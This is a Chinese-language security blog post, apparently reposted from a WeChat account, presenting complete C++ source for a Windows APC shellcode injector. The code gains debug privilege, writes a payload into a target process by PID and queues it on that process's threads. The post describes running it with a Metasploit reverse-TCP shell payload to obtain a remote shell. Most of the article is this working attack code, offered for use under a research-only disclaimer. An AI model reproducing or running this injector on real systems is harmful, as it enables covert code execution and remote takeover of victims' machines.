通过APC注入shellcode功能实现

admin 2024年8月9日16:44:56评论12 views字数 2378阅读7分55秒阅读模式

功能实现

#include <tchar.h>#include <Windows.h>#include <TlHelp32.h>#include <vector>BOOL CurrentProcessAdjustToken(void);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);const char buf[] =”shellcode";int wmain(int argc, wchar_t *argv[]){  if (argc < 2) {    _putts(TEXT("usage: APCInjection [: pid]nexample: RemoteInjection.exe 512n"));    return 0;  } {    if (!CurrentProcessAdjustToken()) {      _putts(TEXT("Invalid AdjustToken"));    }    DWORD pid = 0;    pid = _wtoi(argv[1]);    if (pid <= 0) {      _putts(TEXT("Invalid pid"));      return 0;    }    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);    LPVOID mem = NULL;    mem = VirtualAllocEx(process, NULL, strlen(buf) * sizeof(CHAR), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!mem) {      _putts(TEXT("VirtualAllocEx error"));      return 0;    }    if (!WriteProcessMemory(process, mem, buf, strlen(buf) * sizeof(CHAR), NULL)) {      DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());      return 0;    }    HANDLE hSnap = NULL;    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    if (NULL == hSnap) {      DisplayErrorMessage((LPTSTR)"Create Snapshot error: ", GetLastError());      return 0;    }    THREADENTRY32 te = { 0 };    te.dwSize = sizeof(THREADENTRY32);    Thread32First(hSnap, &te);    do {      if (te.th32OwnerProcessID == pid) {        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, te.th32ThreadID);        QueueUserAPC((PAPCFUNC)mem, hThread, NULL);        ResumeThread(hThread);        CloseHandle(hThread);        Sleep(1000 * 2);      }    } while (Thread32Next(hSnap, &te));    CloseHandle(hSnap);    CloseHandle(process);    return 1;  }}BOOL CurrentProcessAdjustToken(void) {  HANDLE hToken;  TOKEN_PRIVILEGES sTP;  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {      CloseHandle(hToken);      return FALSE;    }    sTP.PrivilegeCount = 1;    sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {      CloseHandle(hToken);      return FALSE;    }    CloseHandle(hToken);    return TRUE;  }  return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {  HLOCAL hlErrorMessage = NULL;  if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))  {    _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));    LocalFree(hlErrorMessage);  }}

功能展示

    使用方式:

通过APC注入shellcode功能实现

    以管理员权限执行注入程序,程序中包含一段由msf生成的windows/x64/shell_reverse_tcp,

APCInjection.exe 2616

通过APC注入shellcode功能实现

执行程序,在msfconsole上成功获取反弹shell。

通过APC注入shellcode功能实现

原文始发于微信公众号(蟹堡安全团队):通过APC注入shellcode功能实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月9日16:44:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过APC注入shellcode功能实现https://cn-sec.com/archives/3048399.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息